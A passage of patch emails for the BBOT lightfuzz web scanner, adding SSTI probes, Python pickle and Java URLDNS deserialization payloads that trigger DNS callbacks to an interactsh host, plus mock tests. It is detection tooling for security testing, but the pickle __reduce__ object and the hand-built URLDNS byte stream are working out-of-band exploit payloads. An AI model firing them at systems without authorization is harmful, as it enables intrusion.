", status=200) + + def check(self, module_test, events): + ssti_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Server-side Template Injection" in desc and "[{{1337*1337}}]" in desc: + ssti_finding = True + assert ssti_finding, "Direct {{1337*1337}} SSTI FINDING not emitted" + + +# SSTI baseline FP suppression — simulates an endpoint whose static content +# happens to include the canary product value (1787569 or 1,787,569). The +# baseline check should suppress all ssti findings on this endpoint. +class Test_Lightfuzz_ssti_baseline_fp(Test_Lightfuzz_ssti_multiply): + def request_handler(self, request): + # Every response contains the canary literal as static content. + # No template evaluation anywhere — pure coincidental number. + return Response( + "Total units sold: 1,787,569", + status=200, + ) + + def check(self, module_test, events): + ssti_finding = False + for e in events: + if e.type == "FINDING": + if "Server-side Template Injection" in e.data.get("description", ""): + ssti_finding = True + assert not ssti_finding, ( + "SSTI finding emitted on a page whose baseline already contains " + "the canary number — baseline-check guard failed." + ) + + # Between Tags XSS Detection class Test_Lightfuzz_xss(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From c18daa5050d93e452dd3326bf5fe07cca35f0c40 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 08:11:08 -0400 Subject: [PATCH 18/50] Lightfuzz FN-hunt round 4: ssti velocity coverage Add Apache Velocity `#set($x=A*B)$x` probe (URL-encoded since `#` would otherwise be interpreted as a URL fragment and truncate the payload). Save-point test with a mock that only recognizes the Velocity syntax, proving the new probe fires on engines the existing probes miss. --- bbot/modules/lightfuzz/submodules/ssti.py | 3 ++ .../module_tests/test_module_lightfuzz.py | 31 +++++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py index 25b548744f..707b651f8b 100644 --- a/bbot/modules/lightfuzz/submodules/ssti.py +++ b/bbot/modules/lightfuzz/submodules/ssti.py @@ -51,6 +51,9 @@ async def fuzz(self): "{{1337*1337}}", # Jinja2 / Twig / Tornado / Django-template "1,787{{z}},569", # Jinja2 comma-collapse (legacy, still useful) "{1337*1337}", # Smarty single-brace + # Apache Velocity uses `#set($x=A*B)$x`. The `#` must be + # URL-encoded to avoid being interpreted as a URL fragment. + "%23set(%24x%3d1337*1337)%24x", ] for probe_value in ssti_probes: r = await self.standard_probe( diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index b067bab583..dd7b2fad7a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -288,6 +288,37 @@ def check(self, module_test, events): ) +# SSTI Apache Velocity — `#set($x=A*B)$x` syntax. None of the pre-existing +# probes use this shape so a Velocity-backed endpoint would slip past. +class Test_Lightfuzz_ssti_velocity(Test_Lightfuzz_ssti_multiply): + def request_handler(self, request): + qs = str(request.query_string.decode()) + from urllib.parse import unquote as _unquote + + value = qs.split("data=")[1] if "data=" in qs else "" + if "&" in value: + value = value.split("&")[0] + decoded = _unquote(value) + # Recognize a Velocity `#set($x=A*B)$x` probe and render the product. + m = re.match(r"#set\(\$\w+=(\d+)\*(\d+)\)\$\w+", decoded) + if m: + return Response( + f"
{int(m.group(1)) * int(m.group(2))}
", + status=200, + ) + # Anything else: plain echo with no template evaluation + return Response(f"
Hi, {decoded}
", status=200) + + def check(self, module_test, events): + velocity_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Server-side Template Injection" in desc and "%23set" in desc: + velocity_finding = True + assert velocity_finding, "Velocity SSTI FINDING not emitted" + + # Between Tags XSS Detection class Test_Lightfuzz_xss(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 6a4f9794ac2b30749170e4d0c1c8ceb270086025 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 13:19:26 -0400 Subject: [PATCH 19/50] Lightfuzz FN-hunt round 5: serial pickle + skip_envelopes opt-in MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two changes: 1. Python pickle coverage for the serial submodule. - Static payloads: benign `pickle.dumps('test')` in both base64 and hex dicts, plus `unpicklingerror` added to the error-string list for the Differential Error Analysis path. - Blind RCE: generates a fresh pickle payload per scan whose `__reduce__` calls `socket.gethostbyname(interactsh_subdomain)`. Because pickle is Python-native, the payload can be rebuilt per scan with a unique OOB callback — no pre-generated template or out-of-process gadget tooling required. - `uses_interactsh = True` so lightfuzz spins up interactsh when serial is the only enabled submodule. 2. `skip_envelopes` opt-in on BaseLightfuzz. - When a submodule's payloads ARE the wire format (base64-encoded serialized objects, hex blobs, etc.), the envelope system must not re-pack them based on what the parameter's original value looked like. Without this, a base64-wrapped plain-text parameter would cause serial's already-base64 pickle payload to be double-encoded before transit. - Class-level flag: submodules set `skip_envelopes = True` and the base-class helpers `incoming_probe_value` / `outgoing_probe_value` skip unwrap/pack accordingly. Default stays False for every other submodule. Tests: 2 new serial save-points (pickle Error Resolution + pickle OOB interactsh). The OOB test mocks interactsh, decodes the incoming payload, extracts the embedded subdomain, and triggers a mock interaction to confirm the detection path fires. Full lightfuzz suite 75/75 (was 73). --- bbot/modules/lightfuzz/submodules/base.py | 28 ++++- bbot/modules/lightfuzz/submodules/serial.py | 61 ++++++++++ .../module_tests/test_module_lightfuzz.py | 104 ++++++++++++++++++ 3 files changed, 192 insertions(+), 1 deletion(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index e2536f1ce9..92bea10c30 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -7,6 +7,12 @@ class BaseLightfuzz: friendly_name = "" uses_interactsh = False + # When True, this submodule operates at the wire-format level and does + # NOT want the envelope system to unwrap incoming probe values or pack + # outgoing ones. Used by submodules whose payloads ARE the transport + # encoding (e.g. `serial`, whose base64/hex/PHP-raw payloads are already + # the exact bytes the server should receive). + skip_envelopes = False def __init__(self, lightfuzz, event): self.lightfuzz = lightfuzz @@ -266,12 +272,23 @@ def metadata(self): def incoming_probe_value(self, populate_empty=True): """ Transparently modifies the incoming probe value (the original value of the WEB_PARAMETER), given any envelopes that may have been identified, so that fuzzing within the envelopes can occur. + + Submodules that set `skip_envelopes = True` receive the raw outer + value unchanged — used when the submodule's payloads ARE the wire + format and should not be unwrapped. """ envelopes = getattr(self.event, "envelopes", None) probe_value = None - if envelopes is not None: + if envelopes is not None and not self.skip_envelopes: probe_value = envelopes.get_subparam() self.debug(f"incoming_probe_value (after unpacking): {probe_value} with envelopes [{envelopes}]") + elif envelopes is not None and self.skip_envelopes: + # Honor the outer-only opt-out: return the raw original value. + probe_value = self.event.data.get("original_value") + self.debug( + f"incoming_probe_value (skip_envelopes=True): returning raw outer value [{probe_value}] " + f"instead of unwrapping [{envelopes}]" + ) if probe_value is None or probe_value == "": if populate_empty is True: probe_value = self.lightfuzz.helpers.rand_string(10, numeric_only=True) @@ -285,10 +302,19 @@ def outgoing_probe_value(self, outgoing_probe_value): Transparently packs the outgoing probe value (fuzz probe being sent to the target) through any envelopes that may have been identified, so that fuzzing within the envelopes can occur. + Submodules that set `skip_envelopes = True` have their probe sent + unchanged — used when the probe's bytes ARE the wire format and + should not be re-encoded. + Uses pack_value() to avoid mutating the envelope's internal state, preventing cross-contamination between submodules that share the same event/envelope object. """ self.debug(f"outgoing_probe_value (before packing): {outgoing_probe_value} / {self.event}") + if self.skip_envelopes: + self.debug( + f"outgoing_probe_value (skip_envelopes=True): bypassing envelope packing for [{outgoing_probe_value}]" + ) + return outgoing_probe_value envelopes = getattr(self.event, "envelopes", None) if envelopes is not None: outgoing_probe_value = envelopes.pack_value(outgoing_probe_value) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index b3fd4bd915..06ce136660 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,7 +1,24 @@ +import base64 +import pickle +import socket + from .base import BaseLightfuzz from bbot.errors import HttpCompareError +class _PickleOOB: + """Pickle-RCE canary: __reduce__ makes the deserializing process resolve + a controlled DNS name, which can be observed via interactsh. Declared + at module scope so the ``socket.gethostbyname`` reference pickles + cleanly by fully-qualified name.""" + + def __init__(self, callback_host): + self._callback_host = callback_host + + def __reduce__(self): + return (socket.gethostbyname, (self._callback_host,)) + + class serial(BaseLightfuzz): """Finds parameters where serialized objects might be being deserialized. It starts by performing a baseline with a specially-crafted non-serialized payload, separated by type (base64, hex, php raw). @@ -15,6 +32,13 @@ class serial(BaseLightfuzz): """ friendly_name = "Unsafe Deserialization" + uses_interactsh = True + # Serial probes are raw serialized bytes (base64/hex/PHP-raw) — the exact + # wire format the target receives. Bypass the envelope system so probes + # aren't re-encoded based on what the parameter's original value looked + # like (e.g. preventing an already-base64 pickle from being base64'd again + # because the original value happened to be base64-wrapped plain text). + skip_envelopes = True # Class-level constants CONTROL_PAYLOAD_HEX = "f56124208220432ec767646acd2e6c6bc9622a62c5656f2eeb616e2f" @@ -28,12 +52,16 @@ class serial(BaseLightfuzz): "java_base64_OptionalDataException": "rO0ABXcEAAAAAAEAAAABc3IAEGphdmEudXRpbC5IYXNoTWFwAAAAAAAAAAECAAJMAARrZXkxYgABAAAAAAAAAAJ4cHcBAAAAB3QABHRlc3Q=", "dotnet_base64": "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==", "ruby_base64": "BAh7BjoKbE1FAAVJsg==", + # Python pickle v4 of the string "test" — benign value, but any + # endpoint that accepts it without error is pickle-deserializing. + "python_pickle_base64": "gASVCAAAAAAAAACMBHRlc3SULg==", } HEX_SERIALIZATION_PAYLOADS = { "java_hex": "ACED00057372000E6A6176612E6C616E672E426F6F6C65616ECD207EC0D59CF6EE02000157000576616C7565787000", "java_hex_OptionalDataException": "ACED0005737200106A6176612E7574696C2E486173684D617000000000000000012000014C00046B6579317A00010000000000000278707000000774000474657374", "dotnet_hex": "0001000000ffffffff01000000000000000601000000076775737461766f0b", + "python_pickle_hex": "80049508000000000000008C0474657374942E", } PHP_RAW_SERIALIZATION_PAYLOADS = { @@ -45,6 +73,7 @@ class serial(BaseLightfuzz): "cannot cast java.lang.string", "dump format error", "java.io.optionaldataexception", + "unpicklingerror", # Python pickle, distinctive to the pickle module ] GENERAL_ERROR_STRINGS = [ @@ -246,3 +275,35 @@ def get_title(text): for r in self.results: r.pop("_technique", None) r.pop("_language", None) + + # Blind RCE via Python pickle OOB. Payload generation is native to + # Python (unlike ysoserial-style Java/.NET gadgets that require + # out-of-process tooling), so we build the payload fresh with a + # unique interactsh subdomain each scan. A hit confirms not just + # "deserialization happens" but "attacker-controlled code ran". + if self.lightfuzz.interactsh_instance: + self.lightfuzz.event_dict[self.event.url] = self.event + subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + callback_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { + "event": self.event, + "name": "Unsafe Deserialization", + "description": ( + f"Python pickle OOB RCE (OOB Interaction) Type: [{self.event.data['type']}] " + f"Parameter Name: [{self.event.data['name']}] Payload: [python_pickle_oob]" + ), + "severity": "CRITICAL", + "confidence": "CONFIRMED", + } + try: + pickle_oob_bytes = pickle.dumps(_PickleOOB(callback_host)) + pickle_oob_b64 = base64.b64encode(pickle_oob_bytes).decode() + except Exception as e: + self.debug(f"failed to build pickle OOB payload: {e}") + else: + await self.standard_probe( + self.event.data["type"], + cookies, + pickle_oob_b64, + timeout=15, + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index dd7b2fad7a..547dead8ef 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1806,6 +1806,110 @@ def check(self, module_test, events): ) +# Python pickle Error Resolution — verifies the new python_pickle_base64 +# payload flips a baseline UnpicklingError 500 into a 200, which is the +# canonical detection path for all languages in the serial submodule. +class Test_Lightfuzz_serial_python_pickle(Test_Lightfuzz_serial_errorresolution): + modules_overrides = ["http", "lightfuzz", "excavate", "paramminer_getparams"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["serial"]}, + # Make paramminer discover the pklparam on /deser_pickle. + "paramminer_getparams": {"wordlist": "", "recycle_words": False, "skip_boring_words": True}, + }, + } + + PICKLE_BENIGN_B64 = "gASVCAAAAAAAAACMBHRlc3SULg==" + + # Seed value is `aTowOw==` — base64 of `i:0;` (PHP-serialized integer). + # bbot's envelope system detects the outer B64 envelope and would + # normally re-pack any outgoing probe as base64 again — which would + # double-encode serial's already-base64 payloads and break detection. + # Because serial sets `skip_envelopes = True`, the bypass kicks in and + # the raw outer value is forwarded to `is_possibly_serialized` (which + # accepts base64-looking strings) and probes are sent verbatim. + SEED_HREF = 'pkl' + + async def setup_after_prep(self, module_test): + # Seed the parameter directly so the scan doesn't depend on + # paramminer discovering it. + expect_args = {"method": "GET", "uri": "/"} + respond_args = {"response_data": self.SEED_HREF, "status": 200} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + expect_args = re.compile("/deser_pickle") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def request_handler(self, request): + value = request.args.get("pklparam", "") + if value == self.PICKLE_BENIGN_B64: + return Response("ok", status=200) + return Response("UnpicklingError: invalid pickle", status=500) + + def check(self, module_test, events): + pickle_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "POSSIBLE Unsafe Deserialization" in desc + and "Serialization Payload: [python_pickle_base64]" in desc + ): + pickle_finding = True + assert pickle_finding, "Python pickle Error Resolution FINDING not emitted" + + +# Python pickle OOB (blind RCE) — verifies that the new pickle OOB payload +# triggers an interactsh interaction when deserialized, giving a CONFIRMED +# blind-RCE finding without needing response-body inspection. +class Test_Lightfuzz_serial_pickle_interactsh(Test_Lightfuzz_serial_python_pickle): + config_overrides = { + "interactsh_disable": False, + "modules": { + "lightfuzz": {"enabled_submodules": ["serial"]}, + }, + } + + async def setup_before_prep(self, module_test): + self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") + + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + + def request_handler(self, request): + import base64 as _b64 + import re as _re + + value = request.args.get("pklparam", "") + try: + decoded = _b64.b64decode(value) + except Exception: + decoded = b"" + # Look for the interactsh subdomain tag embedded in the pickle bytes. + # The subdomain is UTF-8 in the pickle stream, so scan the raw bytes. + match = _re.search(rb"([a-z]+)\.fakedomain\.fakeinteractsh\.com", decoded) + if match: + tag = match.group(1).decode("ascii") + self.interactsh_mock_instance.mock_interaction(tag) + return Response("ok", status=200) + + def check(self, module_test, events): + oob_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Python pickle OOB RCE (OOB Interaction)" in desc + and "Payload: [python_pickle_oob]" in desc + ): + oob_finding = True + assert oob_finding, "Python pickle OOB interactsh FINDING not emitted" + + # CMDi echo canary class Test_Lightfuzz_cmdi(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 14d9fdb780fd048c5b7e7efba5b310248a2d29f5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 14:01:11 -0400 Subject: [PATCH 20/50] Lightfuzz FN-hunt round 6: serial Java URLDNS OOB MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a pure-Python Java URLDNS serialization payload builder to the serial submodule's interactsh OOB block. When deserialized by any Java ObjectInputStream, HashMap.readObject() recomputes hash codes for its keys — our single key is a java.net.URL with its stored hashCode field set to -1 (the "unset" sentinel), so URL.hashCode() falls through to the stream handler, which calls URL.getHostAddress() and performs a DNS lookup on the embedded host. That lookup is observable via interactsh and gives us a CONFIRMED-confidence Java RCE finding. The payload fires against ANY Java deserialization sink — it requires only java.util.HashMap and java.net.URL, both in every JVM stdlib since 1.1. No gadget-chain class needs to be present in the target's classpath, which is the same coverage as ysoserial's URLDNS gadget. Zero new dependencies. Builder constructs the full byte stream from the Java serialization spec using struct — ~80 LOC, cross-verified to parse as a HashMap-with-URL-key by third-party readers during development. Each scan generates a fresh payload with a unique interactsh subdomain. Tests: 1 new save-point (URLDNS interactsh). Mock decodes the incoming payload, greps for the embedded subdomain bytes, and triggers a mock interaction to confirm the detection path fires. Full lightfuzz suite 76/76 (was 75). --- bbot/modules/lightfuzz/submodules/serial.py | 134 ++++++++++++++++-- .../module_tests/test_module_lightfuzz.py | 38 +++++ 2 files changed, 161 insertions(+), 11 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 06ce136660..8497c728d6 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,6 +1,7 @@ import base64 import pickle import socket +import struct from .base import BaseLightfuzz from bbot.errors import HttpCompareError @@ -19,6 +20,90 @@ def __reduce__(self): return (socket.gethostbyname, (self._callback_host,)) +def _java_utf(s): + """Encode a string with Java's 2-byte-length-prefixed modified UTF.""" + b = s.encode("utf-8") + return struct.pack(">H", len(b)) + b + + +def _build_java_urldns_payload(host): + """ + Construct a Java URLDNS serialization payload targeting ``host``. + + When deserialized by ObjectInputStream, HashMap.readObject rebuilds + its internal table by calling putVal(hash(key), key, value, ...), + and ``hash(key)`` invokes ``key.hashCode()``. Our key is a + java.net.URL with its stored hashCode field set to -1 (the "unset" + sentinel), so URL.hashCode() falls through to the stream handler's + hashCode(), which calls URL.getHostAddress(), which performs a DNS + lookup on ``host``. That lookup is observable via interactsh. + + This works against ANY Java deserialization sink — no gadget-chain + class needs to be present in the target's classpath. Only + java.util.HashMap + java.net.URL are required, both in every JVM's + stdlib since 1.1. + """ + buf = bytearray() + # STREAM_MAGIC + STREAM_VERSION=5 + buf += b"\xac\xed\x00\x05" + # TC_OBJECT — HashMap instance + buf += b"\x73" + # TC_CLASSDESC — HashMap class descriptor + buf += b"\x72" + buf += _java_utf("java.util.HashMap") + # HashMap.serialVersionUID = 362498820763181265L + buf += struct.pack(">q", 362498820763181265) + # Flags: SC_SERIALIZABLE | SC_WRITE_METHOD + buf += b"\x03" + # Field count: loadFactor (float), threshold (int) + buf += struct.pack(">H", 2) + buf += b"F" + _java_utf("loadFactor") + buf += b"I" + _java_utf("threshold") + # TC_ENDBLOCKDATA (end of class annotations) + buf += b"\x78" + # Super class: TC_NULL + buf += b"\x70" + # Instance data: loadFactor=0.75, threshold=12 + buf += struct.pack(">f", 0.75) + buf += struct.pack(">i", 12) + # Custom writeObject payload: TC_BLOCKDATA, length=8, capacity=16, size=1 + buf += b"\x77\x08" + buf += struct.pack(">i", 16) + buf += struct.pack(">i", 1) + + # Entry key: a java.net.URL with hashCode=-1 + buf += b"\x73" # TC_OBJECT + buf += b"\x72" # TC_CLASSDESC + buf += _java_utf("java.net.URL") + # URL.serialVersionUID = -7627629688361524110L + buf += struct.pack(">q", -7627629688361524110) + # Flags: SC_SERIALIZABLE + buf += b"\x02" + # Field count: 7 (hashCode, port, authority, file, host, protocol, ref) + buf += struct.pack(">H", 7) + buf += b"I" + _java_utf("hashCode") + buf += b"I" + _java_utf("port") + for fname in ("authority", "file", "host", "protocol", "ref"): + buf += b"L" + _java_utf(fname) + # Field type: TC_STRING (0x74) + signature + buf += b"\x74" + _java_utf("Ljava/lang/String;") + buf += b"\x78" # TC_ENDBLOCKDATA + buf += b"\x70" # TC_NULL (super class) + # Instance data + buf += struct.pack(">i", -1) # hashCode = -1 → forces DNS recomputation + buf += struct.pack(">i", 80) # port + buf += b"\x74" + _java_utf(f"{host}:80") # authority + buf += b"\x74" + _java_utf("") # file + buf += b"\x74" + _java_utf(host) # host + buf += b"\x74" + _java_utf("http") # protocol + buf += b"\x70" # ref: TC_NULL + # Entry value: TC_NULL (HashMap allows null values) + buf += b"\x70" + # TC_ENDBLOCKDATA closes HashMap's custom block + buf += b"\x78" + return bytes(buf) + + class serial(BaseLightfuzz): """Finds parameters where serialized objects might be being deserialized. It starts by performing a baseline with a specially-crafted non-serialized payload, separated by type (base64, hex, php raw). @@ -276,16 +361,18 @@ def get_title(text): r.pop("_technique", None) r.pop("_language", None) - # Blind RCE via Python pickle OOB. Payload generation is native to - # Python (unlike ysoserial-style Java/.NET gadgets that require - # out-of-process tooling), so we build the payload fresh with a - # unique interactsh subdomain each scan. A hit confirms not just - # "deserialization happens" but "attacker-controlled code ran". + # Blind RCE via language-native OOB payloads. Both pickle (Python) + # and URLDNS (Java) are built at scan time with a fresh interactsh + # subdomain — no out-of-process tooling required. Each uses its + # own subdomain tag so the interactsh callback unambiguously + # identifies which payload triggered. if self.lightfuzz.interactsh_instance: self.lightfuzz.event_dict[self.event.url] = self.event - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - callback_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { + + # Python pickle OOB + pkl_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + pkl_host = f"{pkl_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[pkl_tag] = { "event": self.event, "name": "Unsafe Deserialization", "description": ( @@ -296,14 +383,39 @@ def get_title(text): "confidence": "CONFIRMED", } try: - pickle_oob_bytes = pickle.dumps(_PickleOOB(callback_host)) - pickle_oob_b64 = base64.b64encode(pickle_oob_bytes).decode() + pkl_b64 = base64.b64encode(pickle.dumps(_PickleOOB(pkl_host))).decode() except Exception as e: self.debug(f"failed to build pickle OOB payload: {e}") else: await self.standard_probe( self.event.data["type"], cookies, - pickle_oob_b64, + pkl_b64, + timeout=15, + ) + + # Java URLDNS OOB — fires on ANY Java deserialization sink; + # requires only java.util.HashMap + java.net.URL (stdlib). + java_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + java_host = f"{java_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[java_tag] = { + "event": self.event, + "name": "Unsafe Deserialization", + "description": ( + f"Java URLDNS OOB (OOB Interaction) Type: [{self.event.data['type']}] " + f"Parameter Name: [{self.event.data['name']}] Payload: [java_urldns_oob]" + ), + "severity": "CRITICAL", + "confidence": "CONFIRMED", + } + try: + java_b64 = base64.b64encode(_build_java_urldns_payload(java_host)).decode() + except Exception as e: + self.debug(f"failed to build Java URLDNS OOB payload: {e}") + else: + await self.standard_probe( + self.event.data["type"], + cookies, + java_b64, timeout=15, ) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 547dead8ef..5136662e85 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1910,6 +1910,44 @@ def check(self, module_test, events): assert oob_finding, "Python pickle OOB interactsh FINDING not emitted" +# Java URLDNS OOB — verifies that the pure-Python URLDNS payload built +# from scratch triggers an interactsh DNS lookup callback when a mock +# "Java" endpoint "deserializes" it. Because the URLDNS gadget requires +# only java.util.HashMap + java.net.URL (both stdlib), it fires against +# any Java deserialization sink without depending on app-specific gadget +# classes. +class Test_Lightfuzz_serial_urldns_interactsh(Test_Lightfuzz_serial_pickle_interactsh): + def request_handler(self, request): + import base64 as _b64 + import re as _re + + value = request.args.get("pklparam", "") + try: + decoded = _b64.b64decode(value) + except Exception: + decoded = b"" + # The URLDNS payload embeds the host string as a Java-modified-UTF + # with a 2-byte length prefix. The host bytes appear verbatim, so + # we can grep for the interactsh subdomain directly. + match = _re.search(rb"([a-z]+)\.fakedomain\.fakeinteractsh\.com", decoded) + if match: + tag = match.group(1).decode("ascii") + self.interactsh_mock_instance.mock_interaction(tag) + return Response("ok", status=200) + + def check(self, module_test, events): + urldns_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Java URLDNS OOB (OOB Interaction)" in desc + and "Payload: [java_urldns_oob]" in desc + ): + urldns_finding = True + assert urldns_finding, "Java URLDNS OOB interactsh FINDING not emitted" + + # CMDi echo canary class Test_Lightfuzz_cmdi(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From f12cbed36759fa0794b6005d422d597ebbc9a615 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 14:33:33 -0400 Subject: [PATCH 21/50] Lightfuzz FN-hunt round 6 fixup: URLDNS flag fix + interactsh NPE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. Java URL class descriptor was missing SC_WRITE_METHOD flag (0x01). URL has a custom readObject() that re-attaches the transient `handler` field after deserialization; without the flag, the JVM skips readObject() and leaves handler null, so URL.hashCode() never reaches the DNS-lookup code path. Flipping flag to 0x03 and adding the required TC_ENDBLOCKDATA terminator after URL's instance fields makes URLDNS fire end-to-end. Verified against a local Java 21 ObjectInputStream target: DNS lookup for a unique oastify subdomain confirmed. Full bbot E2E scan (WEB_PARAMETER → serial fuzz → interactsh callback) emits a CRITICAL CONFIRMED "Unsafe Deserialization" finding. 2. interactsh_callback now guards against KeyError when the callback arrives for a subdomain we never registered. Was previously `if not details["event"]:` which NPEs when `details` is None. --- bbot/modules/lightfuzz/lightfuzz.py | 4 +++- bbot/modules/lightfuzz/submodules/serial.py | 11 +++++++++-- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 63a045e074..23cb3941da 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -88,7 +88,9 @@ async def interactsh_callback(self, r): if full_id: if "." in full_id: details = self.interactsh_subdomain_tags.get(full_id.split(".")[0]) - if not details["event"]: + if not details or not details.get("event"): + # Callback for a subdomain we didn't register, or whose + # tag entry is incomplete — ignore rather than NPE. return protocol = r.get("protocol", "dns").lower() severity = details.get("severity", "HIGH") diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 8497c728d6..0d25467767 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -77,8 +77,11 @@ class needs to be present in the target's classpath. Only buf += _java_utf("java.net.URL") # URL.serialVersionUID = -7627629688361524110L buf += struct.pack(">q", -7627629688361524110) - # Flags: SC_SERIALIZABLE - buf += b"\x02" + # Flags: SC_SERIALIZABLE | SC_WRITE_METHOD. URL has a custom readObject + # that re-attaches the transient `handler` field after deserialization — + # without SC_WRITE_METHOD the deserializer skips it, leaving handler + # null so URL.hashCode() NPEs before the DNS lookup fires. + buf += b"\x03" # Field count: 7 (hashCode, port, authority, file, host, protocol, ref) buf += struct.pack(">H", 7) buf += b"I" + _java_utf("hashCode") @@ -97,6 +100,10 @@ class needs to be present in the target's classpath. Only buf += b"\x74" + _java_utf(host) # host buf += b"\x74" + _java_utf("http") # protocol buf += b"\x70" # ref: TC_NULL + # SC_WRITE_METHOD requires TC_ENDBLOCKDATA to close URL's custom + # writeObject block. URL's writeObject just calls defaultWriteObject + # and adds no extra data, but the terminator is still required. + buf += b"\x78" # Entry value: TC_NULL (HashMap allows null values) buf += b"\x70" # TC_ENDBLOCKDATA closes HashMap's custom block From cf5e7aca56cc8833f8f71c28ff1f8a18421afd8c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 14:54:10 -0400 Subject: [PATCH 22/50] Lightfuzz crypto: small cleanup - Remove dead `flip` branch from modify_string (never called; was scaffolding for a full CBC bit-flip exploitation path that ended up using the `mutate` action for detection purposes). - Add SHA224 (28 bytes) to identify_hash_function's length table. --- bbot/modules/lightfuzz/submodules/crypto.py | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 56bb0a67f5..433bbfc9fe 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -188,14 +188,6 @@ def modify_string(input_string, action="truncate", position=None, extension_leng modified_data = bytes(byte_list) elif action == "extend": modified_data = data + (b"\x00" * extension_length) - elif action == "flip": - if position is None: - position = len(data) // 2 - if position < 0 or position >= len(data): - raise ValueError("Position out of range") - byte_list = list(data) - byte_list[position] ^= 0xFF # Flip all bits in the byte at the specified position - modified_data = bytes(byte_list) else: raise ValueError("Unsupported action") return crypto.format_agnostic_encode(modified_data, encoding) @@ -510,6 +502,7 @@ def identify_hash_function(hash_bytes): hash_functions = { 16: hashlib.md5, 20: hashlib.sha1, + 28: hashlib.sha224, 32: hashlib.sha256, 48: hashlib.sha384, 64: hashlib.sha512, From 94e65ec5992b59d4f6d58536521e56115dadb82e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 15:20:33 -0400 Subject: [PATCH 23/50] Lightfuzz FN-hunt round 7: esi remote-include OOB MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add an interactsh-confirmed remote-include probe to the esi submodule. When the edge processes ESI and actually FETCHES an source URL, interactsh observes the callback and emits a CRITICAL CONFIRMED finding — a stronger signal than the existing tag-strip 